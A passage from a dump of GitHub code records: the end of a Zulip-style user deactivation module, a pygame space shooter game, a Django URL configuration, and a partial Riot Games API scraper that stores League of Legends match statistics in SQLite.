modified_user=user_profile,\r\n event_type=RealmAuditLog.USER_CREATED, event_time=event_time,\r\n extra_data=ujson.dumps({\r\n RealmAuditLog.ROLE_COUNT: realm_user_count_by_role(user_profile.realm),\r\n }))\r\n do_increment_logging_stat(user_profile.realm, COUNT_STATS['active_users_log:is_bot:day'],\r\n user_profile.is_bot, event_time)\r\n if settings.BILLING_ENABLED:\r\n update_license_ledger_if_needed(user_profile.realm, event_time)\r\n\r\n # Note that for bots, the caller will send an additional event\r\n # with bot-specific info like services.\r\n notify_created_user(user_profile)\r\n if bot_type is None:\r\n process_new_human_user(user_profile, prereg_user=prereg_user,\r\n newsletter_data=newsletter_data,\r\n default_stream_groups=default_stream_groups,\r\n realm_creation=realm_creation)\r\n return user_profile \r\n\r\n\r\n# This function deactivates the user_profie.\r\ndef deactivate_user(user_profile: UserProfile,\r\n acting_user: Optional[UserProfile]=None,\r\n _cascade: bool=True) -> None:\r\n team = TeamMate.objects.filter(user=user_profile).first()\r\n team.delete()\r\n \r\n if not user_profile.is_active:\r\n return\r\n\r\n if user_profile.realm.is_zephyr_mirror_realm: # nocoverage\r\n # For zephyr mirror users, we need to make them a mirror dummy\r\n # again; otherwise, other users won't get the correct behavior\r\n # when trying to send messages to this person inside Zulip.\r\n #\r\n # Ideally, we need to also ensure their zephyr mirroring bot\r\n # isn't running, but that's a separate issue.\r\n user_profile.is_mirror_dummy = True\r\n user_profile.is_active = False\r\n user_profile.save(update_fields=[\"is_active\"])\r\n\r\n delete_user_sessions(user_profile)\r\n clear_scheduled_emails([user_profile.id])\r\n\r\n event_time = timezone_now()\r\n RealmAuditLog.objects.create(\r\n realm=user_profile.realm, modified_user=user_profile, acting_user=acting_user,\r\n event_type=RealmAuditLog.USER_DEACTIVATED, event_time=event_time,\r\n extra_data=ujson.dumps({\r\n RealmAuditLog.ROLE_COUNT: realm_user_count_by_role(user_profile.realm),\r\n }))\r\n do_increment_logging_stat(user_profile.realm, COUNT_STATS['active_users_log:is_bot:day'],\r\n user_profile.is_bot, event_time, increment=-1)\r\n if settings.BILLING_ENABLED:\r\n update_license_ledger_if_needed(user_profile.realm, event_time)\r\n\r\n event = dict(type=\"realm_user\", op=\"remove\",\r\n person=dict(user_id=user_profile.id,\r\n full_name=user_profile.full_name))\r\n send_event(user_profile.realm, event, active_user_ids(user_profile.realm_id))\r\n\r\n if user_profile.is_bot:\r\n event = dict(type=\"realm_bot\", op=\"remove\",\r\n bot=dict(user_id=user_profile.id,\r\n full_name=user_profile.full_name))\r\n send_event(user_profile.realm, event, bot_owner_user_ids(user_profile))\r\n\r\n if _cascade:\r\n bot_profiles = UserProfile.objects.filter(is_bot=True, is_active=True,\r\n bot_owner=user_profile)\r\n for profile in bot_profiles:\r\n do_deactivate_user(profile, acting_user=acting_user, _cascade=False)\r\n\r\n#<------------- end of code -------------->","repo_name":"gutalavijay1111/GLMessenger_API","sub_path":"actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":6504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13058809745","text":"# 1 - Import library\nimport pygame\nfrom pygame.locals import *\nimport math\nimport random\n\n# 2 - Initialize the game\npygame.init()\nwidth, height = 640, 480\nscreen=pygame.display.set_mode((width, height))\nkeys = [False, False, False, False]\nplayerpos=[100,100]\nacc=[0,0]\nbullets=[]\nbadtimer=100\nbadtimer1=0\naliens=[[640, 100]]\nhealthvalue=194\naccuracy = 0\nrunning = 1\nexitcode = 1\npygame.mixer.init()\nstart_time = 0\nroundtime = 60000\n\n# 3 - Load image\nplayer = pygame.image.load(\"resources/images/aircraft.png\")\nbackgroundImage = pygame.image.load(\"resources/images/newBackground.jpg\")\nearth = pygame.image.load(\"resources/images/earth.png\")\narrow = pygame.image.load(\"resources/images/bullet.png\")\nalienimg1 = pygame.image.load(\"resources/images/alien.png\")\nalienimg=alienimg1\nhealthbar = pygame.image.load(\"resources/images/healthbar.png\")\nhealth = pygame.image.load(\"resources/images/health.png\")\ngameover = pygame.image.load(\"resources/images/gameover.png\")\nyouwin = pygame.image.load(\"resources/images/winner.png\")\n# 3.1 - Load audio\nhit = pygame.mixer.Sound(\"resources/audio/explode.wav\")\nenemy = pygame.mixer.Sound(\"resources/audio/enemy.wav\")\nshoot = pygame.mixer.Sound(\"resources/audio/shoot.wav\")\nhit.set_volume(0.05)\nenemy.set_volume(0.05)\nshoot.set_volume(0.05)\npygame.mixer.music.load('resources/audio/backgroundNoise.wav')\npygame.mixer.music.play(-1, 0.0)\npygame.mixer.music.set_volume(0.25)\n\ndef text_objects(text, font):\n textSurface = font.render(text, True, (255, 255, 255))\n return textSurface, textSurface.get_rect()\n\ndef button(msg, x, y, w, h, ic, ac, action=None):\n mouse = pygame.mouse.get_pos()\n click = pygame.mouse.get_pressed()\n\n if x + w > mouse[0] > x and y + h > mouse[1] > y:\n pygame.draw.rect(screen, ac, (x, y, w, h))\n if click[0] == 1 and action != None:\n action()\n else:\n pygame.draw.rect(screen, ic, (x, y, w, h))\n\n smallText = pygame.font.SysFont(\"comicsansms\", 20)\n textSurf, textRect = text_objects(msg, smallText)\n textRect.center = ((x + (w / 2)), (y + (h / 2)))\n screen.blit(textSurf, textRect)\n\n\ndef game_intro():\n global start_time\n intro = True\n\n while intro:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n introText = pygame.font.SysFont(\"comicsansms\", 72).render(\"Space War\", True, (255, 255, 255))\n gameInfo = pygame.font.SysFont(\"comicsansms\", 24).render(\"Use 'W' or 'S' + MOUSE to move and LBUTTON for shooting\", True, (255, 255, 255))\n screen.fill((3, 30, 1))\n screen.blit(introText, (220, 40))\n screen.blit(backgroundImage, (640, 480))\n button(\"GO!\", 270, 350, 110, 60, (43, 66, 24), (80, 122, 45), game)\n screen.blit(gameInfo, (220, 570))\n pygame.display.update()\n\n\ndef gameOver_outro():\n global accuracy\n outro = True\n pygame.font.init()\n font = pygame.font.Font(None, 24)\n text = font.render(\"Accuracy: \" + str(accuracy) + \"%\", True, (255, 0, 0))\n textRect = text.get_rect()\n textRect.centerx = screen.get_rect().centerx\n textRect.centery = screen.get_rect().centery + 24\n screen.blit(gameover, (0, 0))\n screen.blit(text, textRect)\n\n while outro:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n button(\"Play Again!\", 270, 350, 110, 60, (43, 66, 24), (80, 122, 45), game_restart)\n pygame.display.update()\n\n\ndef gameWin_outro():\n global accuracy\n outro = True\n\n pygame.font.init()\n font = pygame.font.Font(None, 24)\n text = font.render(\"Accuracy: \" + str(accuracy) + \"%\", True, (0, 255, 0))\n textRect = text.get_rect()\n textRect.centerx = screen.get_rect().centerx\n textRect.centery = screen.get_rect().centery + 24\n screen.blit(youwin, (0, 0))\n screen.blit(text, textRect)\n\n\n while outro:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n button(\"Play Again!\", 270, 350, 110, 60, (43, 66, 24), (80, 122, 45), game_restart)\n pygame.display.update()\n\n\ndef game_restart():\n global playerpos, keys, start_time, acc, aliens, bullets\n\n aliens = [[640, 100]]\n restart = True\n bullets = []\n acc = [0, 0]\n playerpos = [100,100]\n keys = [False, False, False, False]\n\n while restart:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n pygame.display.update()\n start_time = pygame.time.get_ticks()\n game()\n pygame.display.update()\n\n\ndef game():\n # 4 - keep looping through\n global running, exitcode, accuracy\n start_time = pygame.time.get_ticks()\n running = 1\n exitcode = 0\n\n healthvalue = 194\n badtimer = 100\n badtimer1 = 0\n\n while running:\n badtimer -= 1\n # 5 - clear the screen before drawing it again\n screen.fill(0)\n # 6 - draw the player on the screen at X:100, Y:100\n for x in range(int(height / backgroundImage.get_height() + 1)):\n for y in range(int(height / backgroundImage.get_height() + 1)):\n screen.blit(backgroundImage, (x * 100, y * 100))\n screen.blit(earth, (0, 200))\n # 6.1 - Set player position and rotation\n position = pygame.mouse.get_pos()\n angle = math.atan2(position[1] - (playerpos[1] + 32), position[0] - (playerpos[0] + 26))\n playerrot = pygame.transform.rotate(player, 360 - angle * 57.29)\n playerpos1 = (playerpos[0] - playerrot.get_rect().width / 2, playerpos[1] - playerrot.get_rect().height / 2)\n screen.blit(playerrot, playerpos1)\n # 6.2 - Draw bullets\n for bullet in bullets:\n index = 0\n velx = math.cos(bullet[0]) * 10\n vely = math.sin(bullet[0]) * 10\n bullet[1] += velx\n bullet[2] += vely\n if bullet[1] < -64 or bullet[1] > 640 or bullet[2] < -64 or bullet[2] > 480:\n bullets.pop(index)\n index += 1\n for projectile in bullets:\n arrow1 = pygame.transform.rotate(arrow, 360 - projectile[0] * 57.29)\n screen.blit(arrow1, (projectile[1], projectile[2]))\n # 6.3 - Draw badgers\n if badtimer == 0:\n aliens.append([640, random.randint(50, 430)])\n badtimer = 100 - (badtimer1 * 2)\n if badtimer1 >= 35:\n badtimer1 = 35\n else:\n badtimer1 += 5\n index = 0\n for badguy in aliens:\n if badguy[0] < -64:\n aliens.pop(index)\n badguy[0] -= 7\n # 6.3.1 - Attack castle\n badrect = pygame.Rect(alienimg.get_rect())\n badrect.top = badguy[1]\n badrect.left = badguy[0]\n if badrect.left < 64:\n hit.play()\n healthvalue -= random.randint(5, 20)\n aliens.pop(index)\n # 6.3.2 - Check for collisions\n index1 = 0\n for bullet in bullets:\n bullrect = pygame.Rect(arrow.get_rect())\n bullrect.left = bullet[1]\n bullrect.top = bullet[2]\n if badrect.colliderect(bullrect):\n enemy.play()\n acc[0] += 1\n aliens.pop(index)\n bullets.pop(index1)\n index1 += 1\n # 6.3.3 - Next bad guy\n index += 1\n for badguy in aliens:\n screen.blit(alienimg, badguy)\n # 6.4 - Draw clock\n font = pygame.font.Font(None, 24)\n time_since_enter = pygame.time.get_ticks() - start_time\n survivedtext = font.render(str((roundtime - time_since_enter) / 1000 % 60).zfill(2), True, (0, 0, 0))\n textRect = survivedtext.get_rect()\n textRect.topright = [635, 5]\n screen.blit(survivedtext, textRect)\n # 6.5 - Draw health bar\n screen.blit(healthbar, (5, 5))\n for health1 in range(healthvalue):\n screen.blit(health, (health1 + 8, 8))\n # 7 - update the screen\n pygame.display.flip()\n # 8 - loop through the events\n for event in pygame.event.get():\n # check if the event is the X button\n if event.type == pygame.QUIT:\n # if it is quit the game\n pygame.quit()\n exit(0)\n if event.type == pygame.KEYDOWN:\n if event.key == K_w:\n keys[0] = True\n elif event.key == K_a:\n keys[1] = True\n elif event.key == K_s:\n keys[2] = True\n elif event.key == K_d:\n keys[3] = True\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_w:\n keys[0] = False\n elif event.key == pygame.K_a:\n keys[1] = False\n elif event.key == pygame.K_s:\n keys[2] = False\n elif event.key == pygame.K_d:\n keys[3] = False\n if event.type == pygame.MOUSEBUTTONDOWN:\n shoot.play()\n position = pygame.mouse.get_pos()\n acc[1] += 1\n bullets.append([math.atan2(position[1] - (playerpos1[1] + 32), position[0] - (playerpos1[0] + 26)),\n playerpos1[0] + 32, playerpos1[1] + 32])\n\n # 9 - Move player\n if keys[0]:\n playerpos[1] -= 5\n elif keys[2]:\n playerpos[1] += 5\n if keys[1]:\n playerpos[0] -= 5\n elif keys[3]:\n playerpos[0] += 5\n\n # 10 - Win/Lose check\n time_since_enter = pygame.time.get_ticks() - start_time\n if time_since_enter >= roundtime:\n running = 0\n exitcode = 1\n if healthvalue <= 0:\n running = 0\n exitcode = 0\n if acc[1] != 0:\n accuracy = acc[0] * 1.0 / acc[1] * 100\n else:\n accuracy = 0\n # 11 - Win/lose display\n if exitcode == 0:\n gameOver_outro()\n else:\n gameWin_outro()\n\n while 1:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n exit(0)\n pygame.display.flip()\n\ngame_intro()\ngame()\n\n","repo_name":"milobug669/PPP-GRA2D","sub_path":"Space War/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":10488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70960370294","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('about', views.about, name='about'),\n path('help', views.help, name='help'),\n path('terms', views.terms, name='terms'),\n path('account', views.account, name='account'),\n path('analysis/', views.analysis, name='analysis'),\n path('upload', views.create_dataset, name='create_dataset'),\n path('dataset/', views.view_dataset, name='view_dataset'),\n path('dataset//delete', views.delete_dataset, name='ajax_delete_dataset'),\n path('dataset//rename', views.rename_dataset, name='ajax_rename_dataset'),\n path('dataset//csv', views.ajax_dataset_csv, name='ajax_dataset_csv'),\n path('task/', views.view_task, name='view_task'),\n path('task//csv', views.ajax_task_csv, name='ajax_task_csv'),\n path('task//surfaceplot', views.ajax_surface_plot, name='ajax_surface_plot'),\n path('task//curve1', views.ajax_curve_plot, name='ajax_curve_plot'),\n path('task//curve2', views.ajax_curve2_plot, name='ajax_curve2_plot'),\n path('task//plot_download', views.ajax_get_plot2, name='ajax_get_plot2'),\n path('dataset//tasks', views.ajax_tasks, name='ajax_tasks'),\n path('dataset//status', views.ajax_task_status, name='ajax_task_status'),\n path('analysis//barplot', views.ajax_comboBar_plot, name='ajax_comboBar_plot'),\n path('analysis//barplot2', views.ajax_singleBar_plot, name='ajax_singleBar_plot'),\n path('analysis//scatterplot',views.ajax_comboScatter_plot, name='ajax_comboScatter_plot'),\n path('analysis//scatterplot2',views.ajax_singleScatter_plot, name='ajax_singleScatter_plot'),\n path('analysis//plot_download', views.ajax_get_plot, name='ajax_get_plot')\n]\n\n","repo_name":"QuLab-VU/musyc-web","sub_path":"musycweb/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37453967832","text":"from dotenv import load_dotenv\nfrom ratelimit import limits, sleep_and_retry\n\nimport os\nimport requests\nimport sqlite3\nimport time\n\n# hack to import from outside of /data folder (b/c we have everything in one repo)\nimport sys\nsys.path.append(\"../\")\nfrom utility import constants\n\n\n# load env vars\nload_dotenv()\n\n# init riot api endpoint vars\n# key\nRIOT_API_KEY = os.environ.get(\"riot-api-key\")\n# endpoints\nNA_ENDPOINT = \"https://na1.api.riotgames.com\"\nSUMMONER_BY_NAME_PATH = \"/lol/summoner/v4/summoners/by-name/\"\nMATCHLIST_BY_ACCOUNT_PATH = \"/lol/match/v4/matchlists/by-account/\"\nMATCH_BY_ID_PATH = \"/lol/match/v4/matches/\"\n# requests\nrequest_headers = { \"X-Riot-Token\": RIOT_API_KEY }\n# rate limiting\nRATE_LIMIT_CALLS = 80\nRATE_LIMIT_DURATION = 150 # 2.5 minutes\n\n# db constants\nMAX_MATCHES_TO_INSERT = 10000\nREPOPULATE_FLAG = False\n\n# for printing calls\ncount = 1\n\n\n# Steps:\n# 1. set up list of account_ids and list of match_ids to query\n# 2. get your account id from summoner name (summoner endpoint) and add to list of account_ids\n# 3. get your match list from your account id (matches endpoint) and add all match_ids to list of match_ids\n# 4. while list of match_ids > 0:\n# - get match data from match endpoint\n# - get list of participants, add account_ids to list of account_ids\n# - get data for db, format, insert into db (error handling for dups)\n# 5. if no more match ids, pop from list of account_ids and repeat from 3.\n# 6. if no more account_ids, yikes (repeat on randomly selected summoner name)\ndef get_matches(summoner_name):\n\n # connect to database\n db_name = \"C:/Users/Ivan/Coding/sqlite/league.db\"\n conn = sqlite3.connect(db_name)\n cursor = conn.cursor()\n\n # account ids and match ids to query\n account_ids = []\n match_ids = []\n matches_inserted = 0\n\n # get initial account id\n summoner_request_url = NA_ENDPOINT + SUMMONER_BY_NAME_PATH + summoner_name\n summoner_response_data = call_api(summoner_request_url, request_headers).json()\n account_id = summoner_response_data[\"accountId\"]\n account_ids.append(account_id)\n\n # for all account ids\n while len(account_ids) > 0 and matches_inserted < MAX_MATCHES_TO_INSERT:\n\n # get matchlist\n account_id = account_ids.pop()\n matchlist_request_url = NA_ENDPOINT + MATCHLIST_BY_ACCOUNT_PATH + account_id\n matchlist_response_data = call_api(matchlist_request_url, request_headers)\n if matchlist_response_data == None or matchlist_response_data.json().get(\"matches\") == None:\n matchlist = []\n else:\n matchlist = matchlist_response_data.json().get(\"matches\")\n\n # add all match ids from matchlist that haven't not already been stored, unless re-populating\n for match in matchlist:\n match_id = match[\"gameId\"]\n if REPOPULATE_FLAG:\n match_ids.append(match_id)\n else:\n cursor.execute(\"SELECT id FROM {} WHERE id = ?\".format(constants.MATCH_TABLE_NAME), (match_id,))\n data = cursor.fetchone()\n if data is None:\n match_ids.append(match_id)\n\n # for all match ids\n while len(match_ids) > 0 and matches_inserted < MAX_MATCHES_TO_INSERT:\n\n # get match\n match_id = match_ids.pop()\n match_request_url = NA_ENDPOINT + MATCH_BY_ID_PATH + str(match_id)\n match_response_data = call_api(match_request_url, request_headers).json()\n\n curr_match_id = match_response_data.get(\"gameId\")\n\n # insert into Match table\n match_sql = (\n \"INSERT INTO {} \"\n \"(id, game_creation, game_duration, game_mode, game_type, game_version,\"\n \" map_id, queue_id, season_id)\"\n \" VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)\".format(constants.MATCH_TABLE_NAME)\n )\n try:\n cursor.execute(match_sql, (\n curr_match_id, match_response_data.get(\"gameCreation\"),\n match_response_data.get(\"gameDuration\"), match_response_data.get(\"gameMode\"),\n match_response_data.get(\"gameType\"), match_response_data.get(\"gameVersion\"),\n match_response_data.get(\"mapId\"), match_response_data.get(\"queueId\"), match_response_data.get(\"seasonId\")\n ))\n except Exception as e:\n print(e)\n\n # insert into MatchTeam table\n match_team_sql = (\n \"INSERT INTO {} \"\n \"(match_id, team_id, win,\"\n \" total_kills, total_deaths, total_assists,\"\n \" total_physical_damage_dealt, total_magic_damage_dealt, total_true_damage_dealt, total_damage_dealt,\"\n \" total_physical_damage_dealt_to_champions, total_magic_damage_dealt_to_champions,\"\n \" total_true_damage_dealt_to_champions, total_damage_dealt_to_champions,\"\n \" total_physical_damage_taken, total_magic_damage_taken, total_true_damage_taken, total_damage_taken,\"\n \" total_damage_self_mitigated,\"\n \" total_heal,\"\n \" total_minions_killed, total_neutral_minions_killed,\"\n \" total_neutral_minions_killed_team_jungle, total_neutral_minions_killed_enemy_jungle,\"\n \" total_time_crowd_control_dealt, total_time_ccing_others,\"\n \" total_damage_dealt_to_turrets, total_damage_dealt_to_objectives,\"\n \" total_gold_earned, total_gold_spent,\"\n \" total_vision_score, total_vision_wards_bought_in_game, total_wards_killed, total_wards_placed,\"\n \" first_blood, first_baron, first_dragon, first_inhibitor, first_rift_herald, first_tower,\"\n \" baron_kills, dragon_kills, inhibitor_kills, rift_herald_kills, tower_kills,\"\n \" champion_ban_1, champion_ban_2, champion_ban_3, champion_ban_4, champion_ban_5)\"\n \" VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, \"\n \"?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\".format(constants.MATCH_TEAM_TABLE_NAME)\n )\n # one for each team in match\n for team in match_response_data.get(\"teams\"):\n # set up team totals\n curr_team_id = team.get(\"teamId\")\n # kda\n total_kills, total_deaths, total_assists = 0, 0, 0\n # dmg dealt/taken\n total_physical_damage_dealt, total_magic_damage_dealt, total_true_damage_dealt, total_damage_dealt = 0, 0, 0, 0\n total_physical_damage_dealt_to_champions, total_magic_damage_dealt_to_champions = 0, 0\n total_true_damage_dealt_to_champions, total_damage_dealt_to_champions = 0, 0\n total_physical_damage_taken, total_magic_damage_taken, total_true_damage_taken, total_damage_taken = 0, 0, 0, 0\n total_damage_self_mitigated = 0\n # healing\n total_heal = 0\n # cs\n total_minions_killed, total_neutral_minions_killed = 0, 0\n total_neutral_minions_killed_team_jungle, total_neutral_minions_killed_enemy_jungle = 0, 0\n # cc\n total_time_crowd_control_dealt, total_time_ccing_others = 0, 0\n # objectives\n total_damage_dealt_to_turrets, total_damage_dealt_to_objectives = 0, 0\n # gold\n total_gold_earned, total_gold_spent = 0, 0\n # vision & wards\n total_vision_score, total_vision_wards_bought_in_game, total_wards_killed, total_wards_placed = 0, 0, 0, 0\n\n for participant in match_response_data.get(\"participants\"):\n if curr_team_id == participant.get(\"teamId\"):\n curr_player_stats = participant.get(\"stats\")\n if curr_player_stats:\n # kda\n total_kills += curr_player_stats.get(\"kills\")\n total_deaths += curr_player_stats.get(\"deaths\")\n total_assists += curr_player_stats.get(\"assists\")\n # dmg dealt/taken\n total_physical_damage_dealt += curr_player_stats.get(\"physicalDamageDealt\")\n total_magic_damage_dealt += curr_player_stats.get(\"magicDamageDealt\")\n total_true_damage_dealt += curr_player_stats.get(\"trueDamageDealt\")\n total_damage_dealt += curr_player_stats.get(\"totalDamageDealt\")\n total_physical_damage_dealt_to_champions += curr_player_stats.get(\"physicalDamageDealtToChampions\")\n total_magic_damage_dealt_to_champions += curr_player_stats.get(\"magicDamageDealtToChampions\")\n total_true_damage_dealt_to_champions += curr_player_stats.get(\"trueDamageDealtToChampions\")\n total_damage_dealt_to_champions += curr_player_stats.get(\"totalDamageDealtToChampions\")\n total_physical_damage_taken += curr_player_stats.get(\"physicalDamageTaken\")\n total_magic_damage_taken += curr_player_stats.get(\"magicalDamageTaken\")\n total_true_damage_taken += curr_player_stats.get(\"trueDamageTaken\")\n total_damage_taken += curr_player_stats.get(\"totalDamageTaken\")\n total_damage_self_mitigated += curr_player_stats.get(\"damageSelfMitigated\")\n # healing\n total_heal += curr_player_stats.get(\"totalHeal\")\n # cs\n total_minions_killed += curr_player_stats.get(\"totalMinionsKilled\")\n total_neutral_minions_killed += curr_player_stats.get(\"neutralMinionsKilled\")\n total_neutral_minions_killed_team_jungle += zero_if_none(curr_player_stats.get(\"neutralMinionsKilledTeamJungle\"))\n total_neutral_minions_killed_enemy_jungle += zero_if_none(curr_player_stats.get(\"neutralMinionsKilledEnemyJungle\"))\n # cc\n total_time_crowd_control_dealt += curr_player_stats.get(\"totalTimeCrowdControlDealt\")\n total_time_ccing_others += curr_player_stats.get(\"timeCCingOthers\")\n # objectives\n total_damage_dealt_to_turrets += curr_player_stats.get(\"damageDealtToTurrets\")\n total_damage_dealt_to_objectives += curr_player_stats.get(\"damageDealtToObjectives\")\n # gold\n total_gold_earned += curr_player_stats.get(\"goldEarned\")\n total_gold_spent += curr_player_stats.get(\"goldSpent\")\n # vision & wards\n total_vision_score += curr_player_stats.get(\"visionScore\")\n total_vision_wards_bought_in_game += curr_player_stats.get(\"visionWardsBoughtInGame\")\n total_wards_killed += zero_if_none(curr_player_stats.get(\"wardsKilled\"))\n total_wards_placed += zero_if_none(curr_player_stats.get(\"wardsPlaced\"))\n\n # set up bans\n bans = team.get(\"bans\")\n ban1, ban2, ban3, ban4, ban5 = None, None, None, None, None\n if bans:\n for i in range(len(bans)):\n if i == 0: ban1 = bans[i].get(\"championId\")\n if i == 1: ban2 = bans[i].get(\"championId\")\n if i == 2: ban3 = bans[i].get(\"championId\")\n if i == 3: ban4 = bans[i].get(\"championId\")\n if i == 4: ban5 = bans[i].get(\"championId\")\n\n try:\n cursor.execute(match_team_sql, (\n curr_match_id, curr_team_id, team.get(\"win\"),\n total_kills, total_assists, total_deaths,\n total_physical_damage_dealt, total_magic_damage_dealt, total_true_damage_dealt, total_damage_dealt,\n total_physical_damage_dealt_to_champions, total_magic_damage_dealt_to_champions,\n total_true_damage_dealt_to_champions, total_damage_dealt_to_champions,\n total_physical_damage_taken, total_magic_damage_taken, total_true_damage_taken, total_damage_taken,\n total_damage_self_mitigated,\n total_heal,\n total_minions_killed, total_neutral_minions_killed,\n total_neutral_minions_killed_team_jungle, total_neutral_minions_killed_enemy_jungle,\n total_time_crowd_control_dealt, total_time_ccing_others,\n total_damage_dealt_to_turrets, total_damage_dealt_to_objectives,\n total_gold_earned, total_gold_spent,\n total_vision_score, total_vision_wards_bought_in_game, total_wards_killed, total_wards_placed,\n team.get(\"firstBlood\"), team.get(\"firstBaron\"), team.get(\"firstDragon\"),\n team.get(\"firstInhibitor\"), team.get(\"firstRiftHerald\"), team.get(\"firstTower\"),\n team.get(\"baronKills\"), team.get(\"dragonKills\"), team.get(\"inhibitorKills\"),\n team.get(\"riftHeraldKills\"), team.get(\"towerKills\"),\n ban1, ban2, ban3, ban4, ban5\n ))\n except Exception as e:\n print(e)\n\n # insert into MatchParticipants table\n match_participants_sql = (\n \"INSERT INTO {} \"\n \"(match_id, participant_id, team_id, spell_1_id, spell_2_id, win,\"\n \" champion_id, champ_level, kills, deaths, assists, total_minions_killed,\"\n \" item_0, item_1, item_2, item_3, item_4, item_5, item_6,\"\n \" first_blood_kill, first_blood_assist,\"\n \" double_kills, triple_kills, quadra_kills, penta_kills, unreal_kills,\"\n \" largest_multi_kill, killing_sprees, largest_killing_spree,\"\n \" physical_damage_dealt, magic_damage_dealt, true_damage_dealt, total_damage_dealt,\"\n \" physical_damage_dealt_to_champions, magic_damage_dealt_to_champions,\"\n \" true_damage_dealt_to_champions, total_damage_dealt_to_champions, largest_critical_strike,\"\n \" physical_damage_taken, magic_damage_taken,\"\n \" true_damage_taken, total_damage_taken, damage_self_mitigated,\"\n \" total_heal, total_units_healed,\"\n \" neutral_minions_killed, neutral_minions_killed_team_jungle, neutral_minions_killed_enemy_jungle,\"\n \" total_time_crowd_control_dealt, time_ccing_others,\"\n \" first_tower_kill, first_tower_assist, turret_kills, damage_dealt_to_turrets,\"\n \" first_inhibitor_kill, first_inhibitor_assist, inhibitor_kills, damage_dealt_to_objectives,\"\n \" gold_earned, gold_spent, longest_time_spent_living,\"\n \" vision_score, vision_wards_bought_in_game, wards_killed, wards_placed,\"\n \" perk_primary_style,\"\n \" perk_0, perk_0_var_1, perk_0_var_2, perk_0_var_3,\"\n \" perk_1, perk_1_var_1, perk_1_var_2, perk_1_var_3,\"\n \" perk_2, perk_2_var_1, perk_2_var_2, perk_2_var_3,\"\n \" perk_3, perk_3_var_1, perk_3_var_2, perk_3_var_3,\"\n \" perk_sub_style,\"\n \" perk_4, perk_4_var_1, perk_4_var_2, perk_4_var_3,\"\n \" perk_5, perk_5_var_1, perk_5_var_2, perk_5_var_3,\"\n \" stat_perk_0, stat_perk_1, stat_perk_2)\"\n \" VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, \"\n \"?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, \"\n \"?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, \"\n \"?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\".format(constants.MATCH_PARTICIPANTS_TABLE_NAME)\n )\n # one for each participant in match\n for p in match_response_data[\"participants\"]:\n s = p.get(\"stats\")\n if s == None:\n continue\n try:\n cursor.execute(match_participants_sql, (\n curr_match_id, p.get(\"participantId\"), p.get(\"teamId\"),\n p.get(\"spell1Id\"), p.get(\"spell2Id\"), s.get(\"win\"),\n p.get(\"championId\"), s.get(\"champLevel\"), s.get(\"kills\"), s.get(\"deaths\"), s.get(\"assists\"), s.get(\"totalMinionsKilled\"),\n s.get(\"item0\"), s.get(\"item1\"), s.get(\"item2\"), s.get(\"item3\"), s.get(\"item4\"), s.get(\"item5\"), s.get(\"item6\"),\n s.get(\"firstBloodKill\"), s.get(\"firstBloodAssist\"),\n s.get(\"doubleKills\"), s.get(\"tripleKills\"), s.get(\"quadraKills\"), s.get(\"pentaKills\"), s.get(\"unrealKills\"),\n s.get(\"largestMultiKill\"), s.get(\"killingSprees\"), s.get(\"largestKillingSpree\"),\n s.get(\"physicalDamageDealt\"), s.get(\"magicDamageDealt\"), s.get(\"trueDamageDealt\"), s.get(\"totalDamageDealt\"),\n s.get(\"physicalDamageDealtToChampions\"), s.get(\"magicDamageDealtToChampions\"),\n s.get(\"trueDamageDealtToChampions\"), s.get(\"totalDamageDealtToChampions\"), s.get(\"largestCriticalStrike\"),\n s.get(\"physicalDamageTaken\"), s.get(\"magicalDamageTaken\"),\n s.get(\"trueDamageTaken\"), s.get(\"totalDamageTaken\"), s.get(\"damageSelfMitigated\"),\n s.get(\"totalHeal\"), s.get(\"totalUnitsHealed\"),\n s.get(\"neutralMinionsKilled\"), s.get(\"neutralMinionsKilledTeamJungle\"), s.get(\"neutralMinionsKilledEnemyJungle\"),\n s.get(\"totalTimeCrowdControlDealt\"), s.get(\"timeCCingOthers\"),\n s.get(\"firstTowerKill\"), s.get(\"firstTowerAssist\"), s.get(\"turretKills\"), s.get(\"damageDealtToTurrets\"),\n s.get(\"firstInhibitorKill\"), s.get(\"firstInhibitorAssist\"), s.get(\"inhibitorKills\"), s.get(\"damageDealtToObjectives\"),\n s.get(\"goldEarned\"), s.get(\"goldSpent\"), s.get(\"longestTimeSpentLiving\"),\n s.get(\"visionScore\"), s.get(\"visionWardsBoughtInGame\"), s.get(\"wardsKilled\"), s.get(\"wardsPlaced\"),\n s.get(\"perkPrimaryStyle\"),\n s.get(\"perk0\"), s.get(\"perk0Var1\"), s.get(\"perk0Var2\"), s.get(\"perk0Var3\"),\n s.get(\"perk1\"), s.get(\"perk1Var1\"), s.get(\"perk1Var2\"), s.get(\"perk1Var3\"),\n s.get(\"perk2\"), 